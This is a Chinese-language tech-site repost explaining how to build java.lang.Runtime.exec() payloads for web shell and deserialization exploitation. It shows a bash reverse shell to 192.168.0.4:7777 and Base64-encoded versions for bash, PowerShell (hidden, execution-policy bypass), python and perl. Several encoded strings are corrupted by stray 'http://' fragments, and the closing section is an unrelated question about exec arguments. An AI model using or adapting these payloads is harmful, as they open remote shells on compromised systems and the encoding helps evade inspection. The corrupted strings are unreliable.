java.lang.Runtime.exec() Payload知识点详解

网友投稿 532 2022-12-12


java.lang.Runtime.exec() Payload知识点详解

有时,通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败。使用Web Shell,反序列化利用或通过其他媒介时,可能会发生这种情况。

有时这是因为重定向和管道字符的使用在启动过程的上下文中没有意义。例如,在shell中执行ls> dir_listing会将当前目录的列表输出到名为dir_listing的文件中。但是在exec()函数的上下文中,该命令将被解释为获取>和dir_http://listing目录的列表。

有时,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。像ls“我的目录”之类的东西将被解释为ls“我的目录”。

借助Base64编码,下面的转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell来制作管道并重新定向,还可以确保参数内没有空格。

样例:

bash -i >& /dev/tcp/192.168.0.4/7777 0>&1

编码后:

bash -c {echo,YmFzaCAtaSA+Jhttp://iAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}

#bash

powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YgBhAHMAaAAgAVgfyKDC0AaQAgAD4AJgAgAC8AZABlAHYALwB0AGMAcAAvAhttp://DEAOQAyAC4AMQA2ADgALgAwAC4ANAAvADcANwA3ADcAIAAwAD4AJgAxAA==

#powershell

python -c exec('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='.decode('base64'))

#python

perl -MMIME::Base64 -e eval(decode_base64('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='))

#perl

中间的字符均为“base64”编码。

知识点扩展:

java.lang.Runtime.getRuntime().exec(cmd)命令中参数不能用空格怎么办?

项目中无法执行c程序,猜测是exec()函数的问题

String cmd= exe_path + " " +video + " " +host + ":" + port;

Process process = runtime.exec(cmd);


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:Spring security自定义用户认证流程详解
下一篇:java将String字符串转换为List<Long>类型实例方法
相关文章

 发表评论

暂时没有评论,来抢沙发吧~